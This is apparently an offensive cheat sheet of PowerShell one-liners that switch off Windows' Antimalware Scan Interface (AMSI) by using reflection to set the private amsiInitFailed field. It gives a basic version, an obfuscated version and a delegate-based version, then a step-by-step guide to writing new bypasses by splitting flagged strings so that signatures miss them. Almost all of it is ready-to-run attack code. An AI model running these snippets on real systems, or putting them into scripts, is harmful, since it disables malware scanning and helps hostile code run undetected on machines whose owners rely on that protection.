AMSI Bypass

Basic:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Obfuscated:

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Extra:

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

You can make your own Bypass, for example:

The Basic Bypass:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Step 1 (Separating by variable) :

$dll = 'System.Management.Automation.AmsiUtils' 
$field = 'amsiInitFailed'

Step 2 (adding '+' between the flagged words) :

$dll = 'System.Management.Automation.Am'+'si'+'U'+'ti'+'ls' 
$field = 'a'+'msi'+'I'+'ni'+'tF'+'a'+'il'+'ed'

Step 3 (Calling) :

[Ref].Assembly.GetType($dll).GetField($field,'NonPublic,Static').SetValue($null,$true)